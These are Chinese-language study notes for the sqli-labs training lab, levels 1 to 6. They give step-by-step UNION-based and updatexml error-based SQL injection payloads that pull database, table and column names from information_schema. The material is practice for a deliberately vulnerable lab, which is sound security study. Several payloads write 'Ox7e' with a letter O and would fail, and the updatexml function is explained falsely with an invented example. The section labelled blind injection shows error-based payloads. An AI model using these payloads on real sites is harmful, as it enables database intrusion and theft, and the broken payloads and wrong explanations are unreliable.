一.显错注入
判断url闭合的类型是什么,确定之后,解题步骤为:
1.获取字段数量:order by 数字。
2.获取数据库名:union select database()。
3.获取数据表名:union select table_name from information_schema.tables where table_schema=database(); # 可以使用group_concat()获取多个字段。
4.获取字段名: union select column_name from information_schema.columns where table_schema=database() and table_name=上一步数据表名;
5.根据字段名获取目标内容。
【less-1:字符注入 】
例如:IP地址/sqli-labs-master/Less-1/?id=1
在后面加 ' and 1=2 union select ..... -- ++
【less-2:数字注入 】
例如:IP地址/sqli-labs-master/Less-2/?id=1
后面不加 ' and 1=2 union select .....
【less-3:') 】
例如:IP地址/sqli-labs-master/Less-3/?id=1
后面 加 ') and 1=2 union select ..... -- ++
【less-4:") 】
例如:IP地址/sqli-labs-master/Less-4/?id=1
后面 加 ") and 1=2 union select ..... -- ++
二、SQL盲注
此种注入不会有对应的结果返回。
解题思路:
1.判断是否存在注入:?id=1' and 1=1 -- ++
2.判断库名:?id=1 'and updatexml(1,concat(Ox7e,(SELECT database()),0x7e),1)-- ++
3.判断表名:?id=1 'and updatexml(1,concat(Ox7e,(select table_name from information_schema.tables where table_schema='上一步获取的数据库名' limit 0,1),Ox7e),1) -- ++
4.判断字段名:?id=1 'and updatexml(1,concat(Ox7e,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit0,1),0x7e),1)-- ++
5.获取具体信息:?id=1' and updatexml(1,concat(0x7e,(select group_concat(id) from emails ),0x7e),1) -- ++
【less-5:?id' and updatexml(1,concat(0x7e, (SQL语句) , 0x7e),1) 】
PS:updatexml(参数1,参数2,参数3):参数1是被替换字符,参数2是xpath位置,参数3 是替代字符。例如updatexml('你好帅',2,"真的") 运行结果为: 你真的帅。
这个函数有个特点,先会判断参数2是否合适,如果不合适,则会把参数2显示出来。
【less-6:?id" and updatexml(1,concat(0x7e, (SQL语句) , 0x7e),1) 】
解题思路与less-5相同,唯一区别是 url?id" and updatexml();